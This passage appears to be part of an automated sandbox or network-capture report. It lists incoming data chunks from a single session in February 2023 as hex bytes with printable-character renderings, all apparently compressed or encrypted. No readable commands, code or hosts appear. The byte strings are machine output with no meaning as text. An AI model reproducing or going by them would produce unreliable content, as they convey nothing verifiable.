2023-02-02 07:09:15 UTC	515	IN	Data Raw: e7 9c 77 65 1c f1 77 96 0e bb de bd 9e ef 9b 2b 9c bc b3 77 87 1f 0f dc f1 cf d9 23 e6 df e7 e1 7e 3c cb 47 a4 fa 91 af 37 c2 8f e3 56 bf 10 f3 eb f4 8f 3c de 7b 1d 4f 4b f7 78 49 bf 75 3d 6c a7 cb ba 3e 76 5f 4f 5f eb 1a 9f d5 ef 73 46 1e c7 ad 72 66 e3 47 22 af a7 c8 f7 73 dd e3 cb 31 df a9 fc bd 96 a7 e8 37 3c c6 f4 c8 da 85 6c 7c 71 ce 7b 2d 1d 5f 22 97 f7 a2 ef 9c e5 1d c9 9f a5 33 51 7b f9 3b 3e 3e 7f 17 db 79 9c f5 14 7d bf 8a ed 58 ac af 68 f3 df da fe ea f6 13 b9 bf ec 9f f4 db f1 58 3d 7a ef 47 b1 a4 47 fe dc be dd 1f 87 f3 79 c0 ba bf 2b 6b 4f ff 5f bf 47 e0 0e c3 af df ed 63 f5 78 6e fd 13 af 7b c2 ff 1e de 3f dc 7e 8c fb 77 f7 f3 52 ee fb f9 de ce 17 ed 71 e4 eb bc 85 3f b1 30 e1 e7 f0 e5 a7 1e cf e4 f3 61 f8 fd 56 ef d7 6b 5e e3 39 9f 47 8b Data Ascii: wew+w#~<G7V<{OKxIu=l>v_O_sFrfG"s17<l\|q{-_"3Q{;>>y}XhX=zGGy+kO_Gcxn{?~wRq?0aVk^9G
2023-02-02 07:09:15 UTC	523	IN	Data Raw: ae 7c dd bd 55 d7 be b8 1c f2 4d ec b5 a0 2f 7a 13 f2 7b 05 f4 a9 b6 f6 38 80 1a af b3 8e cb 66 3e 78 ae ce d9 cc 9e 0f fe 7f 4d 60 ba e2 4d 96 9e 93 7c f6 79 d1 5e 0c f6 41 e0 df 40 d2 d6 d8 d6 ee d7 e8 33 11 7c 06 70 e6 7d 23 18 a7 89 f8 23 b3 76 8e cd b7 f6 6a d0 ff d1 37 59 fb d9 0b ba f3 24 d6 36 50 ff a7 90 b5 19 d4 27 83 7d ea ef 61 9e 27 eb e1 66 92 77 7f 92 dd 7e 70 cc b1 fa 0e 6a ab ef a0 8f d5 ae b0 fc 43 cf 0c 90 be 7f 12 e1 97 90 f6 d0 35 c9 ce 0b 6a ab 7c ca 89 4f 0a b1 a7 10 ff 54 d0 bf 1b aa 6b fa 35 90 3e a2 33 92 48 9f 22 e9 cf 22 f6 6c 62 cf 24 e9 47 66 de a7 2c 8f 39 49 6c 3c 59 c7 f9 96 3d 97 db 77 5d c3 38 a1 3e a5 b1 7b 4c 63 72 c0 37 89 f4 05 92 e6 82 24 bb 9f 16 24 91 6b f9 24 bb 2f 17 71 3b de c7 41 ce e6 af 74 ed 95 6b 99 dd 9a Data Ascii: \|UM/z{8f>xM`M\|y^A@3\|p}##vj7Y$6P'}a'fw~pjC5j\|OTk5>3H""lb$Gf,9Il<Y=w]8>{Lcr7$$k$/q;Atk
2023-02-02 07:09:15 UTC	531	IN	Data Raw: 87 e7 db 42 fd 9e 50 bf 3f d4 1f 0e d3 3d 19 9e 7f 26 3c 9f 0e cf bf 18 ea af 84 fa db e1 ff df 0f ff bf 32 8c cb 86 f9 74 87 ed f6 65 18 f7 4d 18 f7 7d 18 f7 73 18 f7 5b 18 67 8a 83 f6 8d 16 07 ed 9b 2e 0e d7 95 e2 70 fc 16 07 e9 5e 29 0e d2 bd 51 1c a4 7b 3b 4c f7 7e 98 6e 65 71 d0 2f d9 e2 a0 5f ba 8b 83 7e f9 ac 38 18 27 5f 16 07 e3 e4 9b e2 60 9c 7c 5f 1c 8c 93 9f 8b 83 71 f2 5b 71 30 4e 4c 2c 18 27 d1 58 30 4e 8a 62 27 6c e9 8f 8f d8 a9 fe b1 6f 6c b6 7f 2c 8b 9d eb 1f 07 c6 2e f2 8f 1b c7 9a fd 63 79 6c ae 7f ac 8a 5d ed 1f 47 c6 e6 f9 c7 d1 b1 5b fc e3 56 b1 3b fc e3 36 b1 bb fc e3 f6 b1 bb fd e3 84 d8 fd fe 31 1e 5b e4 1f 6b 63 8f fb c7 3d 63 4b fc e3 e4 58 da 3f 4e 8d 2d f3 8f 07 c4 5e f2 8f d3 63 af fb c7 c3 63 6f fb c7 44 ec 03 ff d8 10 fb d8 Data Ascii: BP?=&<2teM}s[g.p^)Q{;L~neq/_~8'_`\|_q[q0NL,'X0Nb'lol,.cyl]G[V;61[kc=cKX?N-^ccoD
2023-02-02 07:09:15 UTC	539	IN	Data Raw: 9c a5 56 4f 82 a3 bd 9d fc 3b f0 f2 de 56 af 82 de 10 b2 37 36 d2 88 69 eb 83 36 ef e3 e4 c7 5b a6 4f 10 ff c8 12 c7 af 5c 4e 4f 80 93 e0 ee be 4e 7e 2d 8a ae 6f f3 8c af 6f db 27 01 6e 58 df c6 27 a1 37 23 6d 26 64 7f fc f7 b3 7d 54 de cf c6 c7 c1 09 70 12 f1 49 e8 29 70 5b 3f 7b ad 68 7f cb e5 fd d1 a7 d0 1b c0 cd e0 aa 32 8c f3 32 94 01 9c 02 b7 21 3e 03 8e 0f b0 fd 92 00 97 6f 60 eb d2 b6 01 e6 da 06 b6 7d ca 37 44 9b 80 13 e0 24 b8 79 43 9b 4f 0a 7a 1a 9c 41 4c 16 7a 37 74 33 10 f3 11 1c 07 d7 0e c4 18 86 de 00 3d 09 bd 19 7a 0a 7a 1a 9c 05 9b 41 28 03 38 0e 4e 0f b2 63 35 3e d8 72 c3 60 b4 e1 46 56 6f db c8 ea dd e0 d4 c6 58 03 c1 59 70 f7 c6 68 9f 21 58 eb 86 e0 5a d0 ab a0 c7 a1 d7 0e c1 b8 82 9e 04 a7 c0 69 70 16 6c 86 a2 0c 43 ed bc 2e 87 ee 71 Data Ascii: VO;V76i6[O\NON~-oo'nX'7#m&d}TpI)p[?{h22!>o`}7D$yCOzALz7t3=zzA(8Nc5>r`FVoXYph!XZiplC.q
2023-02-02 07:09:15 UTC	547	IN	Data Raw: 76 5e 33 07 e5 e8 f2 83 5d b3 df ad 1e d9 27 b4 a2 2b f2 6f 7a a7 e7 72 7e 31 4f 76 e6 1d 25 0b a8 e1 90 dc d9 13 f2 74 6e 9e 2e 38 34 37 5e e6 8a b6 b9 6d ed b3 d7 4b db d1 d7 ee 38 34 57 aa fb f2 da e3 a2 89 b7 e5 7a 3f dc 17 1f 9a 4b 6b 4b ff ff a6 cc b6 0d fe e7 92 fe a7 e5 b3 35 1f 7f 98 6b 8e bb 6d ed 9c ff 5f b7 f3 ba 5a d2 b6 d0 19 87 bb e6 e3 1e 25 b5 a5 5f ae b3 bf fd b7 67 87 1e e1 9a c1 f3 d7 be 9a 8d 5b d7 75 6d da ff b4 f7 ff d3 36 ad 3c d2 35 f7 cf 5f fb ac cd cf c6 d9 5c 6c ce ff 73 0a db fb 73 ea 72 5a aa 2e bf b2 e6 a9 23 4f 25 f5 ae 29 4e e5 72 0e 3e 4f f9 7c 46 ee 6c e1 31 ff 35 ce 5b cd aa 5a 3c f2 56 f4 cd 7c 3a eb d8 dc dd c5 9e 5d 17 d9 f5 cf 6a e7 cd cc a5 9d 33 33 77 b5 5f 45 c5 77 79 e4 ed 8b 47 f8 34 eb f8 1c d9 b4 de 08 0b 34 Data Ascii: v^3]'+ozr~1Ov%tn.847^mK84Wz?KkK5km_Z%_g[um6<5_\lssrZ.#O%)Nr>O\|Fl15[Z<V\|:]j33w_EwyG44
2023-02-02 07:09:15 UTC	554	IN	Data Raw: c0 0e 60 27 b0 0b d8 0d 2c 02 4b c0 09 c0 89 c0 49 c0 1e e0 64 e0 14 e0 54 60 2f b0 bc 69 ef a6 7d f0 ef d3 80 d3 81 fd c0 01 e0 0c e0 20 f0 6c e0 ac 4d 67 6e 3a 1b f8 17 e0 39 c0 39 c0 b9 c0 73 01 77 c4 7e 09 8d f3 d3 79 e1 bf e7 d6 41 ec 7f 66 03 3d 80 5d 79 d8 5b 1d c0 ba f6 f0 34 35 86 fd e6 9a a9 75 3e b6 72 47 15 bb e7 96 69 5c 15 fb f7 5b a6 be 3a b6 f5 d6 a9 af 8e 9d 7a eb 74 fc d7 b1 f3 c0 7a 86 67 11 b7 4e e3 e8 f9 bd f4 fc 5e 66 9e 73 7b 6e bd 08 cb bf 71 6a bd 04 7b 70 66 5d 3a 4f e5 e6 96 30 b7 3a 73 ab 37 b7 fa 73 4b 9e 5b ca dc 1a cd 2d 6d 6e 19 73 cb 9a 5b 93 b9 f5 d2 99 75 32 9c dc 57 7c b7 ce ad 3b e6 ef 76 c7 fc dd de 32 f7 bd 65 ee 7b ff fc 8e ff 9a 5b 1f 9c 5b 1f 9a 5b 1f 99 5b 1f 9b 5b 9f f2 2c cc b3 fe e3 bd 53 df 67 e6 a9 8f 63 af Data Ascii: `',KIdT`/i} lMgn:99sw~yAf=]y[45u>rGi\[:ztzgN^fs{nqj{pf]:O0:s7sK[-mns[u2W\|;v2e{[[[[[,Sgc
2023-02-02 07:09:15 UTC	562	IN	Data Raw: 58 bb 8a 2e 8b 0f d4 02 2d 9a a9 a1 96 88 59 f9 a8 4f ad 20 1b cf 50 56 50 1c 26 13 75 22 98 e5 93 a3 62 19 b1 06 9e 09 49 62 65 e4 6b 35 da 46 a1 5a 2e 4b 88 8b 3b 99 94 52 1e 0b f2 30 3f 71 9c 4c be 33 40 26 25 33 46 ab 1c f5 a5 63 a3 7e 91 6c 27 2a 3e 54 0b 39 7a 23 58 26 29 36 18 1d 17 c7 32 d5 ce a2 41 a6 ea 67 72 e5 50 b6 68 96 7c 31 89 2f 87 2d c4 ca 5c 9f 4b 94 f1 bc 69 a6 a4 72 34 af 5b 12 aa 5b 52 3e 6a 95 59 4d a2 f3 b8 92 9b 14 28 1b 65 07 41 03 af 97 4b 99 36 df 2a e4 f8 74 5b cb a1 11 ab f9 99 50 59 18 4b 8e 7f cc e5 bb 43 98 77 29 be d8 8e c9 65 3f 1c e4 e4 06 39 09 b7 22 2a ea 8f b3 55 a2 51 ce d7 1a 55 d3 97 98 c4 93 e6 04 69 01 25 62 ab e5 da 24 1b c8 6a 4a 5a f5 75 62 28 13 53 22 f9 4a 59 a7 d4 71 69 14 1d 4b b5 a6 8a 12 6a 8b 31 6b 65 Data Ascii: X.-YO PVP&u"bIbek5FZ.K;R0?qL3@&%3Fc~l'>T9z#X&)62AgrPh\|1/-\Kir4[[R>jYM(eAK6t[PYKCw)e?9"*UQUi%b$jJZub(S"JYqiKj1ke
2023-02-02 07:09:15 UTC	570	IN	Data Raw: a9 b8 c1 5e 79 d0 c6 ed 44 96 bc f9 31 f4 87 12 bd ee ae 44 b0 df 35 f9 40 3e 98 57 ec 39 85 26 9f 64 16 58 84 36 1f 12 bf 3b ab b5 9b 53 d3 18 51 0f b2 9f 65 4a 03 3f db d5 e7 56 c4 f6 f3 73 7a a0 b7 b5 e6 6d 7c 49 3e 7d 44 d4 9c 1c 29 0c 10 25 6e cc 27 5e e4 82 7d b8 b6 f5 2c 04 74 3d c5 14 3b 95 cf 78 62 ff a6 c1 95 19 c1 bf bf e9 fd 18 34 c9 e7 34 19 42 3c 79 b4 4e 64 41 c7 e3 af fd c5 b7 df fa 2a 33 72 b4 c5 2c 07 0a 1d 77 e9 c4 df a9 2d db e9 2c a2 00 84 fa 43 48 67 29 e4 5d ef 30 0a 2c e2 c7 96 c5 01 4a e7 8e 55 f3 55 c8 fd 5a 47 13 69 73 30 c1 2b 53 95 6e e6 e3 c4 48 cf 22 11 e3 06 72 a0 bc 4e 95 ab f9 4b 28 e5 43 54 a7 ef 49 44 40 a5 2a 46 34 79 52 73 4a 4c 1a c2 d2 e3 68 70 17 4a 52 66 7c b3 e3 f9 3b 54 8e 34 38 20 30 12 93 0e 75 9e e9 e0 ed c2 Data Ascii: ^yD1D5@>W9&dX6;SQeJ?Vszm\|I>}D)%n'^},t=;xb44B<yNdA3r,w-,CHg)]0,JUUZGis0+SnH"rNK(CTID@F4yRsJLhpJRf\|;T48 0u
2023-02-02 07:09:15 UTC	578	IN	Data Raw: ba 62 5b 2f dd 1d 84 5b d0 62 58 b5 84 b4 40 05 8a 94 ad 57 e2 5a 18 88 c7 61 7a 6b 90 2e 10 0e 24 de 4f f6 3f e9 0e 84 e6 23 69 21 a4 1d 52 20 62 26 c9 69 ca 73 c1 e0 11 29 66 40 ba c6 c7 a7 d6 24 39 f7 6e 11 78 37 c1 cc 17 a4 f1 fe 3d e8 ee 83 ba d3 b8 00 9a de 22 7b 90 36 6b 7b f7 a6 6f 63 52 a7 09 04 81 19 f7 11 d2 01 82 dc cf 76 e6 58 f0 ef ab e3 85 f2 0b 1c d2 fb ce db 42 1e 73 ee da ee e0 8a 26 af 70 d1 39 74 b0 04 4f 5f c9 ce 2a 2c b8 25 3d 4b 02 48 97 e5 4f cd 4a d8 ba 9d 3f 20 a5 1d 35 81 84 b4 18 79 3d b5 52 b3 59 9e 17 d8 b9 6c 18 68 48 67 f3 91 a8 93 10 7f f6 92 05 46 6c 15 f3 0d e9 bc eb 9d 5e 0c 93 6f a1 33 c0 90 f5 d3 46 55 6a 3f 95 bd ca 85 1b f4 eb 0c 8e f0 24 d1 59 a2 ef 6f 66 71 84 69 88 ef b4 05 15 39 ef 02 5a a6 1b b0 43 70 c4 5f ee Data Ascii: b[/[bX@WZazk.$O?#i!R b&is)f@$9nx7="{6k{ocRvXBs&p9tO_*,%=KHOJ? 5y=RYlhHgFl^o3FUj?$Yofqi9ZCp_
2023-02-02 07:09:15 UTC	586	IN	Data Raw: 91 06 38 61 c7 a8 0e aa d7 17 2b c8 9e 70 48 44 1e 40 b0 ee 25 3b 40 d5 d6 2c ed 65 fd 96 f7 3b 98 c0 bf 1f 7d 91 68 9e c5 25 98 31 89 aa b3 4a 09 e0 aa f6 a7 31 a1 1a b6 bc a5 72 fc 65 27 09 0b 92 e3 a9 83 14 aa e7 cb 66 32 56 2c f6 29 1e 81 36 97 f3 00 21 02 aa 80 74 5d fa d4 a3 de 05 62 f6 25 1f 12 aa f5 64 a7 54 a9 38 9e da 16 e0 7a 77 03 e7 42 95 8a e5 21 8b 49 2e 8c 74 44 5f d7 9b fa 08 50 8d e8 a7 1e 4f 05 53 11 2e 83 c9 e3 fe 3e 81 54 19 f1 27 68 87 1c 68 ab f2 80 d8 70 f9 2b 81 ea 91 f0 c1 ef 8a e4 9f 28 74 20 4c ef 92 45 0b 87 a8 96 85 a9 9b 4b 8d e4 0d c6 44 f0 a0 81 e4 ca b2 3a ea 58 1b c1 08 7d 60 b7 aa 52 d8 30 5f d8 43 e3 5e 0e 4f c5 2c 06 8e d1 27 c7 0a e6 f4 ef 5c 7e f9 2b 78 2d 18 a2 70 73 61 22 7a 90 0b 12 93 aa fa b1 12 fe f3 06 0f 4a Data Ascii: 8a+pHD@%;@,e;}h%1J1re'f2V,)6!t]b%dT8zwB!I.tD_POS.>T'hhp+(t LEKD:X}`R0_C^O,'\~+x-psa"zJ
2023-02-02 07:09:15 UTC	594	IN	Data Raw: 2c f1 87 e3 fd f0 06 c6 aa 48 dc 0c 23 e9 4b 13 ed cc be 5f 5c d6 a0 bc 87 b4 7a c2 88 12 04 43 f7 3e f7 f7 1b 6d c0 28 d6 fd d5 c0 88 57 28 ec 15 cb 3e ea 72 26 30 32 91 d3 47 18 e5 0a 96 2d bf d4 94 07 71 02 89 15 28 07 09 23 c7 92 47 a9 e3 9b 76 fb 24 a0 52 12 5d bc 60 54 51 ea d9 39 65 e2 24 0c 04 7e 15 b7 01 5a 1d 17 b9 fb 9d 52 72 cf 65 17 b0 f2 4d 8d d1 74 b3 5c 86 8f 1f b1 34 b3 79 e0 b9 d6 86 41 c6 fb 1d 66 f0 db c4 ef 89 69 80 c7 66 a5 dd 87 d1 6e ff bd 31 39 bb 84 a3 97 41 1c 6e 4a 60 c0 68 ee 31 d4 79 46 48 29 c6 00 42 fa 7a 3d e8 9e c5 73 7d 89 5a 53 db e1 5b 81 70 65 b0 89 86 91 18 7c 3f d6 8b a5 09 64 14 b8 55 af 42 a2 3e 4a 77 43 ff 45 c6 b8 31 cd 0b dc 11 cb 1a 2d 8c 32 a1 56 b2 df bd 7a bf 8d 04 45 7a 6d 74 0c a3 46 a3 d5 2f 45 b5 74 81 Data Ascii: ,H#K_\zC>m(W(>r&02G-q(#Gv$R]`TQ9e$~ZRreMt\4yAfifn19AnJ`h1yFH)Bz=s}ZS[pe\|?dUB>JwCE1-2VzEzmtF/Et
2023-02-02 07:09:15 UTC	601	IN	Data Raw: a5 9f ba 00 ce 42 9f db 09 8e ee 9c 5c da 3b e9 7a fe 5c 40 f9 cd e7 5b 84 63 a9 10 5d 2b 6c 15 03 cb 07 cc 5f 5c 3b 90 9d 11 16 7e 72 ea 0c d5 bd 42 79 57 75 28 ac 70 bc 1a 0c 96 61 42 30 bb 39 83 26 d7 8e 8a 84 23 e9 33 f1 fa 32 f2 47 21 26 c0 f3 64 4e a9 70 ac e7 e1 1b b7 c3 94 b8 e5 0e dc 29 98 3f 6f 38 d2 46 7a 86 41 d8 2c d1 fa 05 33 e9 7a 7e 0c c7 58 4c 7e de 77 70 f0 9e 0d 81 ab 31 96 8f 56 e7 22 5f ce 0b e2 e1 16 28 82 26 2b 09 e5 86 e3 f9 6c db 59 69 6c 5f 4e 31 3a 9b 3c 37 07 70 1c 87 57 aa be cd a7 c2 6f 1e dc 2f ee 4b 9e 70 f4 1e a3 af fb 39 7b b3 f9 07 c4 ef 71 4e 14 a8 af f0 15 35 fb eb 1d 1c a6 05 ea 46 b2 26 1d ea cc d7 a8 96 a8 f3 5d ea 90 80 d7 96 e5 f4 40 5d 82 aa db 07 b1 12 7c 98 14 0c e6 b7 6e 5b a8 53 14 56 75 63 9d 3a 19 ad 02 3b Data Ascii: B\;z\@[c]+l_\;~rByWu(paB09&#32G!&dNp)?o8FzA,3z~XL~wp1V"_(&+lYil_N1:<7pWo/Kp9{qN5F&]@]\|n[SVuc:;
2023-02-02 07:09:15 UTC	609	IN	Data Raw: e0 19 63 e8 47 8f 05 87 83 9f 39 f1 de c4 74 a0 de a1 69 33 70 fe 97 6d 1a fe 38 76 0c 7d 8f 81 67 89 45 b1 cb 1a 61 38 0c a3 06 c3 ec f0 0d 56 5e 8b fb b5 06 ef fc 89 89 8e 5b 37 1b 0d 9b c0 ac f0 f1 28 87 cb cb ca 7c 2c da 57 46 39 48 04 c9 67 71 ca 12 a9 61 14 bc b5 19 bf 04 a3 fc 14 8c 25 93 8b db e8 40 65 86 5c 05 97 48 a6 06 2d db 80 31 d0 32 ef 04 69 5c 50 e7 7f a7 b1 2e a3 7d 03 42 15 de c2 06 d2 84 6c 0f c5 3d bf 23 a3 a7 80 af 97 7e 3d 6f 10 d6 bb 3d aa e6 b7 b6 0c dd 8a f2 cb cb 66 56 4c 2f 95 fe 8e 3a cd df e6 29 4c 03 d2 ca e8 74 03 9f 70 7c 49 1c c1 e8 4b f8 10 a1 b5 3b 59 14 31 09 c5 a6 42 8b b1 97 98 e3 e3 01 69 2d 0c 56 fe 06 bb ed 04 56 03 d2 70 40 18 06 d2 91 50 60 87 86 c7 d1 00 f6 20 5b 93 ca 71 0b e9 bd 82 25 76 55 15 9b 96 b1 00 27 Data Ascii: cG9ti3pm8v}gEa8V^[7(\|,WF9Hgqa%@e\H-12i\P.}Bl=#~=o=fVL/:)Ltp\|IK;Y1Bi-VVp@P` [q%vU'
2023-02-02 07:09:15 UTC	617	IN	Data Raw: 25 5a 97 4a 30 af 18 14 1c 90 e4 a5 d0 96 96 ca d3 60 a7 64 c2 aa 6a cb b4 07 57 9c 15 2a 9c f4 87 13 28 b7 b9 20 d3 7b df e7 c0 04 5d 21 68 a6 14 31 8e 99 5b c2 03 86 12 bd 01 d5 c5 10 58 7b 45 1d 68 c0 47 8d c0 0b f8 e6 e8 82 26 17 04 ef 74 77 b4 1b 50 8d 4c b0 ef aa 7b d2 80 47 7a c2 19 b1 1e 86 81 5f 37 46 98 d8 49 b8 4b c0 2b 0d e1 92 7b 68 71 81 5c c8 42 b3 e5 6c a6 00 59 aa 0b e3 63 d8 9f f7 c0 9d 30 21 ce a3 7e 7f 05 8d 0e 05 c3 ce e4 fb 11 f8 bd 25 88 bd 56 dc 55 20 fa ad 10 5a cd fc ef 0c 0a 68 0a 8c e8 e3 24 8e fc da 4a 70 54 12 c7 2b 30 74 aa 70 ba 6e dd 11 49 0a 93 0a 43 af 7a 83 08 b8 e9 22 ec a6 54 f7 d7 60 14 19 61 6d 1c 39 7c 0d ea 92 16 ca b6 20 05 17 1c e5 50 48 36 c2 81 3d 02 86 1a 85 5b 48 34 b7 3b c8 64 46 a0 e4 e1 6a 4d a0 93 47 21 Data Ascii: %ZJ0`djW*( {]!h1[X{EhG&twPL{Gz_7FIK+{hq\BlYc0!~%VU Zh$JpT+0tpnICz"T`am9\| PH6=[H4;dFjMG!
2023-02-02 07:09:15 UTC	625	IN	Data Raw: 92 34 6b 4c 98 8b 68 c7 ce 4a 28 8a be 36 9b 2b 48 7d 83 22 8a 41 d1 30 60 43 86 f2 73 97 ea 10 05 8f 47 4a 16 c6 7c b9 06 bf 88 8a d2 b9 55 d8 8d 60 94 0a 4a 33 4e 9e b4 02 49 d5 51 e1 b0 3a 45 0b 90 9f 0f 94 6a ba 55 b2 02 53 bb a0 30 72 14 71 1b 74 fb 2d 95 e4 a4 15 61 40 eb 2b 4a 29 37 6c ea 80 aa 16 a8 1c 31 33 7c 04 04 3b a0 ac d8 b2 d2 09 94 5a 49 99 5d 60 72 19 e0 ef a4 cb 8a de f6 ab 4f c8 7c cb fc 1b 48 f5 eb 37 44 2b c7 1d 35 42 15 5e 22 b1 33 cf 55 aa ef 1e aa f2 8f a2 cc ec d3 fa 15 a8 60 6a ca da c0 12 15 1b 9f d7 ea 4e 39 af ac 64 7d a9 7f d9 f6 d0 87 cf c3 e4 ee 0e 67 fc 16 21 81 6b 66 53 d7 9d 4c 04 9b 97 17 83 67 00 96 7b 19 db 7f b9 1c dd da 05 75 e1 64 cc 25 7f 2a f7 2c d4 0b 09 05 21 67 2c fa 9f 0a 7d b2 49 d6 b6 a6 f8 66 af ed 2f 7f Data Ascii: 4kLhJ(6+H}"A0`CsGJ\|U`J3NIQ:EjUS0rqt-a@+J)7l13\|;ZI]`rO\|H7D+5B^"3U`jN9d}g!kfSLg{ud%*,!g,}If/
2023-02-02 07:09:15 UTC	633	IN	Data Raw: d5 32 b6 21 eb d5 67 ac c7 f9 74 fe 23 79 97 7f bf cd c9 8f 19 95 b7 f2 cf b4 59 09 1d e8 fc c2 6f ac 02 2b 45 10 3e 48 f4 fb f8 fe e1 62 03 f0 1b 42 c4 73 98 24 aa 14 1f 57 d1 32 da 2a 34 70 59 53 22 d1 10 2a 54 72 a1 ed 34 2d a5 15 07 3e fa f4 63 b3 9e bb f4 f7 53 d6 6c 0f e0 cc 39 be 27 85 de b4 05 b9 4e f9 c3 f2 ba 3e 0f a0 9c 10 65 0c 61 92 bb ae 27 1e 0b cf 4a 08 1a 64 6a ef 9f 0c 2f 23 3a 30 b1 c3 e6 ea fb f4 76 cd 3b 5a d5 6c e5 7c b6 54 79 7a 6a 9e 9f a6 59 dd e4 ae 20 03 3e dd 62 56 4f 7f b6 f3 d3 dd f2 06 dc fd d6 62 eb c7 ff 6a f9 f8 5f e3 b3 b6 cb b3 92 87 f5 0e 7a 70 5e 25 9d 57 d1 87 9f 66 70 e0 85 d3 92 87 89 b5 19 36 f4 66 b7 eb 55 07 6d c7 b3 52 2f 10 13 67 16 27 7a 87 63 e7 8b 9d 23 aa f3 8e 52 fe 85 61 07 83 f6 85 6b 44 9c 5d c4 02 af Data Ascii: 2!gt#yYo+E>HbBs$W24pYS"Tr4->cSl9'N>ea'Jdj/#:0v;Zl\|TyzjY >bVObj_zp^%Wfp6fUmR/g'zc#RakD]
2023-02-02 07:09:15 UTC	640	IN	Data Raw: 95 9f 5f ff 57 c3 f7 68 f4 ba e0 f1 0a 4d cc 3c 91 b5 7f 20 ea cb 9f 44 d7 3f 37 8f ef de 4e 5f 27 a8 ef 6c e9 e5 8a e3 d5 ec 15 58 c3 f0 3f 0e 51 c5 ea 1e d6 e7 81 c9 9f fa fc d8 9d fb 4d d7 9e 11 cd 5f f1 17 ee 0d a9 e1 53 e2 21 d4 de ff ad d7 ff c3 02 fe 29 c4 9b 51 53 f8 c1 b3 da 9b 2f ec 57 a2 59 1e 55 ec 7b 80 8c 47 c7 8e 55 f0 1a a1 2a 9a 9e 66 87 6f e7 a5 cf 8e 47 33 ea ee c3 85 66 b7 dc 3d 70 df 95 06 c4 64 ef 57 b6 1e 9f f7 98 d7 7b ee 73 80 9e b5 de 5d 80 3c 67 f9 e5 b0 f5 31 34 6f ee 48 1e 9e db 5f 3d a5 1e 91 17 ef 9f 76 7f 7a ac 79 70 5c 1f 54 0b 13 d6 e7 c3 63 3f ea d1 99 3b 1c 50 bf 07 25 f2 c3 17 d0 47 7e 3e 1d 55 b3 da f2 76 03 ba bb 45 cc e3 65 af 69 7c a7 1a ef f4 b4 6c 10 e9 a9 06 15 65 16 7f 88 f7 79 08 ef f3 72 27 d4 f7 ff e7 5e e4 Data Ascii: _WhM< D?7N_'lX?QM_S!)QS/WYU{GU*foG3f=pdW{s]<g14oH_=vzyp\Tc?;P%G~>UvEei\|leyr'^
2023-02-02 07:09:15 UTC	648	IN	Data Raw: dc 8d ac df 97 fc 8f ad a0 5c c6 fe 26 d4 e0 e2 1c 95 39 b5 56 07 15 58 c6 55 61 ea 15 5b ec 40 51 d9 0a 67 3b 0b 05 41 66 35 27 d8 42 ac 08 e8 ed d1 be 1e 4f 53 64 be d6 f8 7b ac 82 bb f9 c8 6b 29 bc 07 a4 fd 8b e2 27 89 45 52 c6 c3 ac ed 6b dc d6 5f e5 df eb eb 65 36 dc e1 bc d4 95 fe e7 ac 77 ae f8 0c 6f e1 17 f7 13 49 3f 78 0f 92 fd bb b2 3b 4d 7f 23 76 aa 5f f9 c9 dd 67 0b ca 78 6e 14 bc 4a 9f 09 be 08 d2 1f 5d 71 22 02 d0 76 8e d2 96 74 78 19 41 92 61 ca 55 5e 04 6e 06 92 1b 28 d0 b4 07 66 00 3a 79 50 f8 5a d0 b9 04 30 71 ab b0 fd 2c b0 1d 18 c8 51 59 25 46 60 ac 41 10 96 0a 71 73 dd de 41 cb 31 54 9a 93 42 f7 12 10 87 49 a1 96 f8 3c 23 54 b2 1c 85 cc 6e 14 5a 25 05 6e 28 3e 4c d2 d9 04 66 3d 2b 32 b9 1e d6 18 88 9e 63 fa 0a f5 f4 7e 4b e6 de df 97 Data Ascii: \&9VXUa[@Qg;Af5'BOSd{k)'ERk_e6woI?x;M#v_gxnJ]q"vtxAaU^n(f:yPZ0q,QY%F`AqsA1TBI<#TnZ%n(>Lf=+2c~K
2023-02-02 07:09:15 UTC	656	IN	Data Raw: 93 37 08 82 73 65 a0 06 d0 4a d7 c6 8e b7 06 64 21 3d 41 32 5c 9f e8 ca 4d 77 11 4e e4 86 f8 4a e5 37 8d 67 b6 18 bd 43 e9 39 82 e9 84 d5 f5 84 59 6d ad 69 7b a3 2b b9 1a a2 d1 7d 00 81 7a e3 60 3c 58 b5 ad 43 34 ad 83 e1 f7 dc f9 94 21 f5 93 19 f3 fb 7e 69 1f a8 0d 39 43 bb 50 a0 17 51 49 9a 06 6d 0b 99 57 a3 8f 9c 1b ef 34 53 87 00 6d 8c 0b 82 c8 63 73 05 f9 8a 69 b8 ac 52 d2 13 92 f2 9b 21 08 91 30 cf a0 eb 36 ff e6 61 e7 95 28 c2 16 d7 54 f6 7c c8 48 f5 39 10 ca b8 48 4b 94 cb 4f a3 ba 99 14 28 9c d7 89 35 3c b6 3e be 28 34 38 10 93 02 76 f4 bb 9e c9 5c ae 8e 9b b7 22 d5 6a 28 03 e2 e8 c6 be b9 75 70 f4 c2 21 79 f4 e1 cf c1 a9 c6 ce 1f 27 2d 6b 5f a2 06 62 79 a1 76 23 f3 5e c4 61 4f 9a 47 d1 68 1b 57 71 16 a4 c7 92 be 51 38 7c de d4 61 d1 6f 81 36 2e Data Ascii: 7seJd!=A2\MwNJ7gC9Ymi{+}z`<XC4!~i9CPQImW4SmcsiR!06a(T\|H9HKO(5<>(48v\"j(up!y'-k_byv#^aOGhWqQ8\|ao6.
2023-02-02 07:09:15 UTC	664	IN	Data Raw: 3c ee b6 8a 74 ff 3e 88 05 b9 4f b3 0e a9 c1 3f 03 9c 49 e8 4f c4 0d da b4 90 e7 1a e5 e3 32 bc 6d 45 f6 9e 68 b8 9d 86 fa a5 af 5b 8e 3a 93 1a aa 44 b1 61 42 a7 d6 1d 5c 25 bf ac 3a ba 36 a7 61 2a e4 13 d1 20 5b 9e 07 be ae 0f eb 15 4d ec 32 e8 f2 e5 53 c2 34 99 7c f8 33 df 6f af 1b 8c e1 b2 3c 4b 8e 3e 1e 91 55 f6 8b d2 de 43 ee 83 82 db b0 50 93 4c 3e 28 a4 3b 87 a5 bb 36 46 7a 42 dd 33 58 d8 d2 31 6a 06 89 af c3 72 5a a4 92 a9 d1 e1 ed ed 1b 30 4b fd 8a 8e 3d cc d0 b9 d7 e1 82 82 a8 58 ca ed e6 d7 1b 4a 08 bc 34 47 6f 7d 8f e8 76 99 17 5b 8d e4 e4 86 d4 75 5a 88 89 24 5c 07 b5 ad bd 18 09 d5 98 39 b2 ae d1 b2 f6 2b 10 21 4a de c3 22 27 c6 d5 c5 28 98 4f 8b 43 f0 0b 3d 20 2d 7a 2f db f8 d2 9d e2 ef fa 04 5e f5 4e db e5 bb 93 0d da 28 79 19 38 b2 e6 1d Data Ascii: <t>O?IO2mEh[:DaB\%:6a* 